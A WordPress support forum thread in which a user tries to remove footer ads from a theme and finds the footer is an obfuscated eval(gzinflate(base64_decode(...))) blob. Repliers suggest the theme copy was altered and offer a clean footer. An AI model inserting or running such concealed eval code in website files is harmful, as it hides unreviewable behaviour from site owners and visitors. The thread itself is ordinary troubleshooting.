• Resolved sulis

    (@sulis)


    I hope someone can help me. I am trying to edit the footer of my theme to remove the advertising, but it seems to be in some kind of code (presumably to deter people from removing it). How do I get rid of it? Is it even possible? Here is my site:

    http://frenchtofluency.com/

    I want to remove the ads at bottom left.

    Thanks!

Viewing 12 replies - 1 through 12 (of 12 total)
  • Yup, It’s possible. Just find where your footer code starts & ends (html code) Copy these codes to your footer.php of your theme. that’s all..

    Do that between line 152-169.

    Thread Starter sulis

    (@sulis)

    Thanks for replying, but I’m not really sure how to do that. Can you give me more explanation please (I’m new to this).

    Thank you!

    You are welcome, change your footer.php with codes below:

    <div id=”second-bloc”>
    <div id=”top-second-bloc”></div>
    <div id=”inside-second-bloc”>
    <div class=”second-tile”>
    <div class=”builder”>Free wordpress themes<img src=”http://www.wpthemes360.com/i/spacer.gif&#8221; border=”0″></div>

    <div class=”owner”><span>©</span> French To Fluency</div>
    <div class=”footer-reset”></div>
    </div>
    </div>
    <div id=”bottom-second-bloc”></div>
    </div>

    Thread Starter sulis

    (@sulis)

    Do you mean add that code you gave me into the footer.php? I did that but it messed up the home page.

    The entire original footer file shows this:

    <?php
    eval(gzinflate(base64_decode(“bZPdbtwgEIWvN1LeYUqlbnrBkqpSpDY2e1epT1HZZnaNZHsQTIr69sV4f0xi+QbPGb4ZhsNRV5+khBbPdoITEaMHKfXjQ2XsX+iGJoRaeAzIQlcqxZJ0/aqj6x1E92fZ9/T1FY4XOUNxMgXy8WGXqdbUoiVmGmVHEzd2Qr+mL6uMUCpTbmlXUELdWQGTbmQ7UCf0rNwlJicL+Vplt86yU7AG5UfOJecyhovOdsCbXiS0b3Yw+SwN9B5PteiZ3U+lYowH27VMh45GAWx5wFr88ogQyRuXBhyAexwxCL0ZrlSjQcImmDt6G0yL3NtAExY1fjNkNd0wzDqkBKG3ornClb9f8aNbWvj+8jyj1V5Ht3Q1b6nseIbgu6Kl91usCq7p0B/O9iSgTWdDX4vn8jp2u62ZUlzckQCT/vL528uP10rlH1j8l64refdET/vGjHaygX3D5PfZjSX/VqCosFhUfjD5krj2y3393sebHssmXb2Z0texpwHvfq5US+bf/PBUz+Og/wM=”))) ; ?>

    I’m not really sure what to try now. Any ideas?

    Have you cleared old one (current codes) before doing it?

    Thread Starter sulis

    (@sulis)

    Yes, I deleted everything out of the footer file and inserted the code that you gave, but it made a big mess – most of the homepage was not showing up. Any other ideas?

    Check out your theme’s functions.php (if you have one) for spam too. I’d recommend switching themes, who knows what other ad spam is lurking in your theme files.

    Thread Starter sulis

    (@sulis)

    This is all the functions.php says, if it helps:

    <?php
    if ( function_exists(‘register_sidebar’) )
    {
    register_sidebar(array(
    ‘before_widget’ => ‘<div class=”side-bloc”>’,
    ‘after_widget’ => ‘</div>’,
    ‘before_title’ => ‘<h2>’,
    ‘after_title’ => ‘</h2>’,

    ));
    }
    ?>

    I just downloaded your theme from here:

    http://www.itcouldbethisone.com/category/margot/

    The footer is not encoded. Your theme folder is named margot-10. The folder from the source above is named margot. The changelog says it was developed on the WP 2.0 series. Been around a while, I guess.

    I suspect you have an altered copy. Do as you wish with it, but here is the actual entire contents of footer.php

    <!-- begin footer -->
    <div class="reset"></div>
    <?php wp_footer(); ?>
    <!-- end footer -->
    <div id="bottom-container"></div>
    </div><!-- // end container -->
    <div id="second-bloc">
    <div id="top-second-bloc"></div>
    <div id="inside-second-bloc">
    <div class="second-tile">
    <div class="owner"><a href="http://www.dfc-e.com/metiers/pme/sage-gestion/formation-sage/" title="Formation SAGE">Formation SAGE</a> <span>©</span> <?php bloginfo('administrator'); ?></div>
    <div class="footer-reset"></div>
    </div>
    </div>
    <div id="bottom-second-bloc"></div>
    </div>
    </div><!-- // whole -->
    </body>
    </html>

    I guess I would be hesitant to use it regardless of the source.

    Thread Starter sulis

    (@sulis)

    Hmm…that’s strange. Anyway, thank you for the code – I edited it to finally get rid of the ads and it worked. Although I may consider changing the theme if it is an old one.

    Thanks again for your help!

    i have question, why did you have ads on the bottom in the first place?
    did the theme come that way?

    Thread Starter sulis

    (@sulis)

    Yes, it came with links when I downloaded it.

Viewing 12 replies - 1 through 12 (of 12 total)
  • The topic ‘How to decode footer?’ is closed to new replies.